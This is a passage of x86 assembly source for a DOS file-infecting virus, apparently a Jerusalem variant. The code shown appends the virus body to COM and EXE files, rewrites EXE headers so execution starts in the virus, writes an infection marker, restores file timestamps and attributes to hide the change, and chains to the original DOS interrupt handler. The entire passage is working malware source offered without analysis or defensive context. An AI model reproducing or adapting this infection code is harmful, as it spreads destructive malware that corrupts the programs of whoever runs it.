                mov     di,si
                mov     cx,viruslength
                rep     movsb
                mov     dx,di
                mov     cx,filesize
                mov     bx,filehandle
                push    es
                pop     ds
                mov     ah,3Fh                  ; read file to buffer
                int     21h
error5:
                jc      error6
                add     di,cx
                xor     cx,cx                   ; go to start of file
                mov     dx,cx
                mov     ax,4200h
                int     21h

                mov     si,offset marker        ; zopy marker to end of file
                mov     cx,5
                rep     movs byte ptr es:[di],cs:[si]
                mov     cx,di                   ; write virus + carrier
                xor     dx,dx
                mov     ah,40h
                int     21h
error6:
                jc      error7
                jmp     error12
infect_exe:
                mov     cx,1Ch                  ; read EXE header
                mov     dx,offset header
                mov     ah,3Fh
                int     21h
error7:
                jc      error8
                mov     word ptr ds:header+12h,1984h ; infection marker
                mov     ax,ds:header+0eh; initial SS
                mov     ds:saveSS,ax
                mov     ax,ds:header+10h        ; initial SP
                mov     ds:saveSP,ax
                mov     ax,ds:header+14h
                mov     ds:initialCSIP,ax
                mov     ax,ds:header+16h
                mov     ds:initialCSIP+2,ax
                mov     ax,ds:header+4          ; get file size
                cmp     word ptr ds:header+2,0  ; rounded?
                je      not_rounded
                dec     ax                      ; deround
not_rounded:
                mul     word ptr ds:pagesize
                add     ax,ds:header+2
                adc     dx,0                    ; get total file size
                add     ax,0Fh
                adc     dx,0
                and     ax,0FFF0h               ; round to nearest paragraph
                mov     ds:filelength,ax
                mov     ds:filelength+2,dx
                add     ax,viruslength          ; add virus length
                adc     dx,0
error8:
                jc      error9
                div     word ptr ds:pagesize    ; convert to page size
                or      dx,dx                   ; need to round
                jz      dont_round
                inc     ax
dont_round:
                mov     ds:header+4,ax          ; put new values in header
                mov     ds:header+2,dx
                mov     ax,ds:filelength        ; convert filesize
                mov     dx,ds:filelength+2
                div     word ptr ds:parasize    ; to paragraphs
                sub     ax,ds:header+8          ; subtract header size
                mov     ds:header+16h,ax        ; insert as initial CS
                mov     word ptr ds:header+14h,offset relocate_entry
                mov     ds:header+0eh,ax        ; insert new stack segment
                mov     word ptr ds:header+10h,offset endjerusalem; & pointer

                xor     cx,cx                   ; rewind to start of file
                mov     dx,cx
                mov     ax,4200h
                int     21h
error9:
                jc      error10
                mov     cx,1Ch                  ; write new header to file
                mov     dx,offset header
                mov     ah,40h
                int     21h
error10:
                jc      error11
                cmp     ax,cx
                jne     error12

                mov     dx,ds:filelength        ; go to end of file
                mov     cx,ds:filelength+2
                mov     ax,4200h
                int     21h
error11:
                jc      error12
                xor     dx,dx                   ; concatenate virus
                mov     cx,viruslength
                mov     ah,40h
                int     21h
error12:
                cmp     cs:alloc_flag,0         ; did we allocate memory?
                je      no_free                 ; no, don't free
                mov     ah,49h                  ; release memory
                int     21h
no_free:
                cmp     cs:filehandle,0FFFFh    ; clear variables
                je      exit_execute
                mov     bx,cs:filehandle        ; restore file date/time
                mov     dx,cs:filedate
                mov     cx,cs:filetime
                mov     ax,5701h
                int     21h

                mov     ah,3Eh                  ; close file
                int     21h

                lds     dx,dword ptr cs:filenameptr
                mov     cx,cs:fileattr
                mov     ax,4301h                ; restore attributes
                int     21h

                lds     dx,dword ptr cs:oldint24; restore int 24 handler
                mov     ax,2524h
                int     21h
exit_execute:
                pop     es
                pop     ds
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                popf
                jmp     dword ptr cs:oldint21
; slack space for stack here
                org     710h
endjerusalem:
                nop
                int     20h
                db      'MsDos'

                end     jerusalem